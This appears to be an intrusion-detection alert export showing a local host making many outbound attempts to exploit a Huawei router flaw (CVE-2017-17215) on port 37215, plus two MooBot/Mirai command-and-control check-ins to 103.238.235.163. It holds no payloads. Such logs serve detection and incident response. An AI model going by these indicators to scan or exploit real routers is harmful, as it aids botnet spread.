ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.200.234.13

Timestamp:	2024-08-01T15:36:09.865091+0200
SID:	2835222
Source Port:	33416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.67.94.230

Timestamp:	2024-08-01T15:35:20.206170+0200
SID:	2835222
Source Port:	51796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.31.178

Timestamp:	2024-08-01T15:36:11.951037+0200
SID:	2835222
Source Port:	60664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.172.37.42

Timestamp:	2024-08-01T15:36:14.943222+0200
SID:	2835222
Source Port:	49758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.25.223

Timestamp:	2024-08-01T15:36:36.961872+0200
SID:	2835222
Source Port:	36800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.135.211.170

Timestamp:	2024-08-01T15:36:36.950526+0200
SID:	2835222
Source Port:	36830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.109.174.87

Timestamp:	2024-08-01T15:36:42.176750+0200
SID:	2835222
Source Port:	38358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.82.64

Timestamp:	2024-08-01T15:36:49.661871+0200
SID:	2835222
Source Port:	35444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.6.247.128

Timestamp:	2024-08-01T15:34:59.918455+0200
SID:	2835222
Source Port:	49764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 105.165.63.7

Timestamp:	2024-08-01T15:35:21.919398+0200
SID:	2835222
Source Port:	47156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 88.152.64.221

Timestamp:	2024-08-01T15:36:48.407965+0200
SID:	2835222
Source Port:	34750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.255.178.57

Timestamp:	2024-08-01T15:35:16.404083+0200
SID:	2835222
Source Port:	36864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.13.177.97

Timestamp:	2024-08-01T15:35:16.493133+0200
SID:	2835222
Source Port:	59474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.25.200.158

Timestamp:	2024-08-01T15:36:22.369394+0200
SID:	2835222
Source Port:	46400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.231.150.121

Timestamp:	2024-08-01T15:36:34.857195+0200
SID:	2835222
Source Port:	35570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.150.229.72

Timestamp:	2024-08-01T15:35:16.777686+0200
SID:	2835222
Source Port:	35948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.194.38.163

Timestamp:	2024-08-01T15:35:20.203524+0200
SID:	2835222
Source Port:	42852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.200.234.185

Timestamp:	2024-08-01T15:35:21.928438+0200
SID:	2835222
Source Port:	51884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.187.51.209

Timestamp:	2024-08-01T15:36:14.843404+0200
SID:	2835222
Source Port:	56434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.146.16.123

Timestamp:	2024-08-01T15:35:53.664163+0200
SID:	2835222
Source Port:	46590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.181.86.238

Timestamp:	2024-08-01T15:35:43.353779+0200
SID:	2835222
Source Port:	58084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:34:54.886055+0200
SID:	2030490
Source Port:	35358
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 96.69.179.162

Timestamp:	2024-08-01T15:36:40.246355+0200
SID:	2835222
Source Port:	60608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.81.206

Timestamp:	2024-08-01T15:36:32.811999+0200
SID:	2835222
Source Port:	47960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.204.160.167

Timestamp:	2024-08-01T15:36:22.353166+0200
SID:	2835222
Source Port:	40986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.81.46.24

Timestamp:	2024-08-01T15:36:06.711985+0200
SID:	2835222
Source Port:	60564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.22.20.29

Timestamp:	2024-08-01T15:36:51.776710+0200
SID:	2835222
Source Port:	41484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 123.236.6.145

Timestamp:	2024-08-01T15:35:16.761982+0200
SID:	2835222
Source Port:	55460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.187.140.88

Timestamp:	2024-08-01T15:36:06.683129+0200
SID:	2835222
Source Port:	52826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.85.99

Timestamp:	2024-08-01T15:35:21.932370+0200
SID:	2835222
Source Port:	60978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.64.45.114

Timestamp:	2024-08-01T15:35:16.901670+0200
SID:	2835222
Source Port:	35596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 160.82.19.94

Timestamp:	2024-08-01T15:36:26.571187+0200
SID:	2835222
Source Port:	52982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.246.162.39

Timestamp:	2024-08-01T15:36:28.684105+0200
SID:	2835222
Source Port:	59898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.211.62.88

Timestamp:	2024-08-01T15:35:56.488787+0200
SID:	2835222
Source Port:	55676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.130.27

Timestamp:	2024-08-01T15:35:20.209807+0200
SID:	2835222
Source Port:	41916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.8.180

Timestamp:	2024-08-01T15:35:16.906032+0200
SID:	2835222
Source Port:	40226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.232.103.108

Timestamp:	2024-08-01T15:35:43.385801+0200
SID:	2835222
Source Port:	37568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.153.234.226

Timestamp:	2024-08-01T15:35:48.348054+0200
SID:	2835222
Source Port:	56286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 194.54.136.89

Timestamp:	2024-08-01T15:36:22.339158+0200
SID:	2835222
Source Port:	58684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.54.101.57

Timestamp:	2024-08-01T15:35:21.911796+0200
SID:	2835222
Source Port:	44908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.177.199.195

Timestamp:	2024-08-01T15:36:53.686920+0200
SID:	2835222
Source Port:	44862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.198.2.149

Timestamp:	2024-08-01T15:35:48.349549+0200
SID:	2835222
Source Port:	47286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.88.99

Timestamp:	2024-08-01T15:35:20.208996+0200
SID:	2835222
Source Port:	49672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 204.190.84.86

Timestamp:	2024-08-01T15:36:24.448750+0200
SID:	2835222
Source Port:	59988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.154.25.224

Timestamp:	2024-08-01T15:35:21.838319+0200
SID:	2835222
Source Port:	60006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.121.195.207

Timestamp:	2024-08-01T15:35:37.210135+0200
SID:	2835222
Source Port:	40352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.123.133.251

Timestamp:	2024-08-01T15:36:22.326100+0200
SID:	2835222
Source Port:	37598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 110.244.88.165

Timestamp:	2024-08-01T15:36:39.213679+0200
SID:	2835222
Source Port:	49530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.167.99.185

Timestamp:	2024-08-01T15:36:22.387830+0200
SID:	2835222
Source Port:	59230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.179.145.5

Timestamp:	2024-08-01T15:36:42.176795+0200
SID:	2835222
Source Port:	60336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.41.79.22

Timestamp:	2024-08-01T15:35:35.138631+0200
SID:	2835222
Source Port:	36594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.219.98.19

Timestamp:	2024-08-01T15:35:20.545850+0200
SID:	2835222
Source Port:	34082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.118.102.239

Timestamp:	2024-08-01T15:35:17.170777+0200
SID:	2835222
Source Port:	51300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 123.7.111.234

Timestamp:	2024-08-01T15:36:03.805311+0200
SID:	2835222
Source Port:	41144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 130.47.155.129

Timestamp:	2024-08-01T15:35:20.209381+0200
SID:	2835222
Source Port:	50350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.231.104

Timestamp:	2024-08-01T15:35:16.341235+0200
SID:	2835222
Source Port:	43924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 78.144.226.163

Timestamp:	2024-08-01T15:35:21.928446+0200
SID:	2835222
Source Port:	42992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.41.142.167

Timestamp:	2024-08-01T15:36:06.715745+0200
SID:	2835222
Source Port:	60944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.143.230.35

Timestamp:	2024-08-01T15:35:20.206260+0200
SID:	2835222
Source Port:	58400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.235.99.1

Timestamp:	2024-08-01T15:36:09.903265+0200
SID:	2835222
Source Port:	59182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.157.89

Timestamp:	2024-08-01T15:35:20.216295+0200
SID:	2835222
Source Port:	45634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 193.62.208.172

Timestamp:	2024-08-01T15:35:20.205875+0200
SID:	2835222
Source Port:	37294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.135.198

Timestamp:	2024-08-01T15:35:21.880970+0200
SID:	2835222
Source Port:	50318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.165.89.19

Timestamp:	2024-08-01T15:35:37.222091+0200
SID:	2835222
Source Port:	56154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.55.58.149

Timestamp:	2024-08-01T15:35:50.297757+0200
SID:	2835222
Source Port:	53698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.146.235.2

Timestamp:	2024-08-01T15:35:40.241227+0200
SID:	2835222
Source Port:	58678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.87.27

Timestamp:	2024-08-01T15:36:09.885165+0200
SID:	2835222
Source Port:	45014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.207.220.252

Timestamp:	2024-08-01T15:35:20.207714+0200
SID:	2835222
Source Port:	58682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 107.219.166.209

Timestamp:	2024-08-01T15:35:21.863419+0200
SID:	2835222
Source Port:	48510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.192.177

Timestamp:	2024-08-01T15:35:37.198101+0200
SID:	2835222
Source Port:	52496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 57.64.230.60

Timestamp:	2024-08-01T15:35:16.856037+0200
SID:	2835222
Source Port:	39252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 118.192.63.141

Timestamp:	2024-08-01T15:35:21.876317+0200
SID:	2835222
Source Port:	38032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.249.183.250

Timestamp:	2024-08-01T15:36:32.990799+0200
SID:	2835222
Source Port:	59738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.5.24.36

Timestamp:	2024-08-01T15:36:01.671172+0200
SID:	2835222
Source Port:	48414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.204.235.201

Timestamp:	2024-08-01T15:36:20.309838+0200
SID:	2835222
Source Port:	36036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.123.244.235

Timestamp:	2024-08-01T15:36:09.902155+0200
SID:	2835222
Source Port:	38242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.9.142.252

Timestamp:	2024-08-01T15:36:20.311247+0200
SID:	2835222
Source Port:	54066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.207.234.50

Timestamp:	2024-08-01T15:35:21.874052+0200
SID:	2835222
Source Port:	41082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.76.83.220

Timestamp:	2024-08-01T15:35:20.209463+0200
SID:	2835222
Source Port:	48016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.45.88.250

Timestamp:	2024-08-01T15:35:20.207542+0200
SID:	2835222
Source Port:	40138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.181.195

Timestamp:	2024-08-01T15:36:51.588178+0200
SID:	2835222
Source Port:	33214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.103.184.180

Timestamp:	2024-08-01T15:35:20.202631+0200
SID:	2835222
Source Port:	42200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:36:00.310137+0200
SID:	2030490
Source Port:	53858
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.2.149.103

Timestamp:	2024-08-01T15:36:20.372514+0200
SID:	2835222
Source Port:	48478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.216.82

Timestamp:	2024-08-01T15:35:20.216422+0200
SID:	2835222
Source Port:	57916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.247.115.64

Timestamp:	2024-08-01T15:35:20.575050+0200
SID:	2835222
Source Port:	34108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.223.95

Timestamp:	2024-08-01T15:35:20.204339+0200
SID:	2835222
Source Port:	46584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.181.223.139

Timestamp:	2024-08-01T15:35:20.214927+0200
SID:	2835222
Source Port:	49856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.219.135

Timestamp:	2024-08-01T15:36:24.452633+0200
SID:	2835222
Source Port:	60808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.168.51.50

Timestamp:	2024-08-01T15:35:20.545719+0200
SID:	2835222
Source Port:	60636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.11.179.94

Timestamp:	2024-08-01T15:35:45.386003+0200
SID:	2835222
Source Port:	51036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.193.128.149

Timestamp:	2024-08-01T15:35:20.203106+0200
SID:	2835222
Source Port:	34186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.63.4.123

Timestamp:	2024-08-01T15:35:50.253804+0200
SID:	2835222
Source Port:	54044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.127.50

Timestamp:	2024-08-01T15:35:21.886176+0200
SID:	2835222
Source Port:	35708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.254.90.108

Timestamp:	2024-08-01T15:35:21.905746+0200
SID:	2835222
Source Port:	42882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.121.169.87

Timestamp:	2024-08-01T15:35:17.058696+0200
SID:	2835222
Source Port:	54896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.34.139.219

Timestamp:	2024-08-01T15:35:21.846564+0200
SID:	2835222
Source Port:	60678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.231.50.4

Timestamp:	2024-08-01T15:36:48.378556+0200
SID:	2835222
Source Port:	35676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.160.152

Timestamp:	2024-08-01T15:35:20.207456+0200
SID:	2835222
Source Port:	32782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

